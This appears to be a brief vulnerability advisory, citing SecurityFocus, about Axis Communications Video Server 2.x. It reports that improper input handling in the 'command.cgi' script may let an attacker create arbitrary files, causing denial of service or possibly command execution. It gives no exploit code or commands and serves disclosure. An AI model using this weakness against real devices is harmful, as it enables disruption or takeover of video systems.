Axis Communications Video Server 2.x - 'Command.cgi' File Creation

source: https://www.securityfocus.com/bid/6987/info

It has been reported that the Axis Video Servers do not properly handle input to the 'command.cgi' script. Because of this, an attacker may be able to create arbitrary files that would result in a denial of service, or potentially command execution.
